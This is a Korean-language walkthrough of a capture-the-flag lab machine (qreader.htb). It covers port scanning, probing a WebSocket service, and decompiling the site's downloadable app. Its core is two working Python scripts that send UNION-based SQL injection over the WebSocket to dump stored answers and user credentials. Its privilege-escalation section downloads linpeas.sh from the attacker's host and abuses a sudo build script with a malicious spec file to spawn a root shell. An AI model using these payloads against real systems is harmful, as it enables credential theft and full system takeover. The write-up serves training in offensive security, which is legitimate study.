나는 이것으로 바로 요점을 말할 것입니다.

IP: 10.129.191.94

엔맵:

sudo nmap -p- -T4 -vvv 10.129.191.94

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
5789/tcp open  unknown syn-ack ttl 63
sudo nmap -p22,80,5789 -vvv -sCV -A 10.129.191.94

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
5789/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 20:03:24 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 20:03:25 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   Help, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 20:03:42 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.

포트 5789에 Websocket이 있습니다.

다른 열거를 계속하는 동안 백그라운드에서 웹 소켓을 열거하는 도구를 실행합니다.

https://github.com/PalindromeLabs/STEWS

python3 STEWS-vuln-detect.py -4 -n -u 10.129.191.94:5789

      
                

                    
                    
                
            

브라우저

웹 사이트는 qr 코드를 생성하고 Windows 및 Linux용 프로그램을 모두 다운로드할 수 있도록 합니다.

다운로드하고 즐겨 사용하는 도구를 사용하여 리버스 엔지니어링하십시오. 다음은 몇 가지를 선택하는 것입니다.

https://github.com/zrax/pycdc

https://github.com/rocky/python-uncompyle6

https://github.com/greyblue9/unpyc37-3.10

완료되면 코드의 이 부분에서 취약점을 찾을 수 있습니다.

파이썬 스크립트

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.3" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.3" UNION SELECT username,password,"3","4" from users;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

SSH 로그인하고 플래그를 가져옵니다.

단계적 확대

linpeas.sh를 실행하면 탐색할 몇 가지 정보를 얻을 수 있습니다.

wget http://10.10.14.78:8000/linpeas.sh

      
                

                    
                    
                
            

echo 'import os;os.system("/bin/bash")' > /tmp/file.spec; sudo /usr/local/sbin/build-installer.sh build /tmp/file.spec